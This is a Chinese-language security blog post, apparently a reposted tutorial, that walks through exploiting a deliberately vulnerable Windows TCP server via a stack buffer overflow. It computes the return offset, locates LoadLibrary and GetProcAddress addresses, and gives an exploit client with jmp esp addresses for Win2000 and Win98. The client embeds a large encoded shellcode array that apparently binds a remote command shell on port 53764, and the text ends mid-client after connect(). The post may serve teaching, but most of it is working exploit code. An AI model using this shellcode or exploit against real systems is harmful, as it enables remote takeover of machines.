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分类: 网络与安全

2008-05-31 21:44:57


   下面是一个有问题的internet服务程序:
  /****************************************************************************/
  /* server.cpp By Ipxodi
  */
  
  #include
  #include
  char Buff[1024];
  void overflow(char * s,int size)
  {
   char s1[50];
   printf("receive %d bytes",size);
   s[size]=0;
   strcpy(s1,s);
  }
  
  int main()
  {
   WSADATA wsa;
   SOCKET listenFD;
   int ret;
   char asd[2048];
  
   WSAStartup(MAKEWORD(2,2),&wsa);
  
   listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  
   struct sockaddr_in server;
  
   server.sin_family = AF_INET;
   server.sin_port = htons(3764);
   server.sin_addr.s_addr=ADDR_ANY;
   ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
   ret=listen(listenFD,2);
  
   int iAddrSize = sizeof(server);
   SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
   unsigned long lBytesRead;
   while(1) {
   lBytesRead=recv(clientFD,Buff,1024,0);
   if(lBytesRead<=0) break;
  
   overflow(Buff,lBytesRead);
  
   ret=send(clientFD,Buff,lBytesRead,0);
   if(ret<=0) break;
  
   }
   WSACleanup();
   return 0;
  }
  /****************************************************************************/
  
  函数Overflow有问题,看到了吗?
  
  好,现在我们来写溢出攻击程序:
  
  1)先算一下溢出(返回)地址应该在哪里?
  (:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
  :唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
  现在原代码就放在你眼前,你自己算一下不就出来了?)
  
  下面是溢出时刻堆栈布局:
  内存底部 内存顶部
   buffer EBP ret
  <------ [NNNNNNNNNNN][N ] [A ]SSSS
   ^&buffer
  堆栈顶部 堆栈底部
  
  可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
  52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。
  
  2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
  启动wdasm32,加载server.exe
  
  :004028EC 68F0014200 push 004201F0
  
  * Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
   |
  :004028F1 FF15E8614200 Call dword ptr [004261E8]
  
  好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。
  
  :00402911 51 push ecx
  
  * Reference To: KERNEL32.GetProcAddress, Ord:013Eh
   |
  :00402912 FF15E4614200 Call dword ptr [004261E4]
  
  好,KERNEL32.GetProcAddress的入口地址:0x004261E4。
  
  这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
   0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
   0xc1, 0xeb, 0x08, /* shr ebx, 08 */
  以及
   0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
  
  3)写出client:
  /****************************************************************************/
  /* client.cpp By Ipxodi
  */
  
  #include
  #include
  #define WIN2000
  
  #ifdef WIN2000
  #define JUMPESP "\x2a\xe3\xe2\x77"
  #endif
  #ifdef WIN98
  #define JUMPESP "\xa3\x95\xf7\xbf"
  #endif
  
  unsigned char eip[8] = JUMPESP;
  unsigned char sploit[580] = {
   0x90, 0x8b, 0xfc,
   0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
   0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
   0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
   0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
   0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
   0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
   0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
   0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
   0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
   0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
   0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
   0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
   0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
   0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
   0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
   0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
   0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
   0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
   0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
   0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
   0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
   0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
   0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
   0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
   0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
   0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
   0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
   0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
   0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
   0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
   0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
   0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
   0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
   0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
   0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
   0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
   0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
   0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
   0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
   0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
   0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
   0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
   0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
   0x4b, 0x9d, //port=53764
   0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
   0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
   0x0d, 0x0a};
  int main()
  {
   WSADATA wsa;
   SOCKET sockFD;
   char Buff[1024],*sBO;
  
   WSAStartup(MAKEWORD(2,2),&wsa);
  
   sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  
   struct sockaddr_in server;
  
   server.sin_family = AF_INET;
   server.sin_port = htons(3764);
   server.sin_addr.s_addr=inet_addr("127.0.0.1");
  
   connect(sockFD,(struct sockaddr *)&server,sizeof(server)); 【责编:Yoyo】
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